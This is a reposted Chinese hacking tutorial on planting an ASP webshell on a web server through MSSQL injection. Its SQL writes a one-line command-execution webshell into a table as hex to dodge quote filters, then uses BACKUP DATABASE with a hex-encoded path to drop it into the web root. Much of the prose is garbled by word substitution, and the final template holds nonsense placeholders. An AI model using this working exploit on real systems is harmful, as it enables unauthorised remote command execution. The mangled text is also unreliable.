设为主页 | 加入收藏 | 繁體中文

突破特殊字符:Mssql Backup a Shell

  作者:SuperHei  来自:安全天使:http://www.4ngel.net
  1.拔出数据
  mssql注射利用Backup或makewebtask失掉webshell,在写入webshell代码时,要是过滤了一些特别字符,如" '等。我们先mssql分析器里“查询”:
  use pubs; <===利用数据哭pubs
  create table cmd (str image); <===创建个表cmd 一个属性为image的列
  insert into cmd (str) values ('<%execute request("cmd")&""%>') <===拔出数据为 <%execute request("cmd")&""%>
  select * from cmd; <===查询输出cmd里的所无数据
  查询输出str为:
  0x3C256578656375746520726571756573742822636D642229262222253E
  我们不管拔出str什么数据,在数据库里会主动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:
  use pubs
  create table cmd (str image)
  insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)
  select * from cmd
  查询输出str为:
  0x3C256578656375746520726571756573742822636D642229262222253E
  什么2种方法失掉的效果一样,但是第2种方法里拔出的数据,就没有' " &等等。
  2.导出路径
  常规的拔出数据后导出webshell的语句为:
  backup database model to disk='g:\wwwtest\l.asp';
  显然导出路径里包涵了' : \等,我们还是可以利用hex编码来打破:
  declare @a sysname
  select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码
  backup database pubs to disk=@a
  运行查询,可以成功导出webshell。
  3.小结:
  结合1,2我们可以失掉完整的导出webshell的sql语句格式为:
  use model
  create table cmd (str image)
  insert into cmd(str) values(0x民主民主***)
  declare @a sysname select @a=0x民主民主** backup database pubs to disk=@a;
  其实利用hex等编码的方法,在angel的文章〈饶过'(单引号)限定连续射入〉里提过,我只是照搬而已,你也可以搬到其他中央去拉:).
  4.覆按文章:
  《饶过'(单引号)限定连续射入》http://www.4ngel.net/article/14.htm
  《在MSSQL下完成Backup a shell》http://safer.cnwill.com/show.php?id=469
  转hex剧本(aschex.pl) http://www.4ngel.net/project/aschex.txt
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: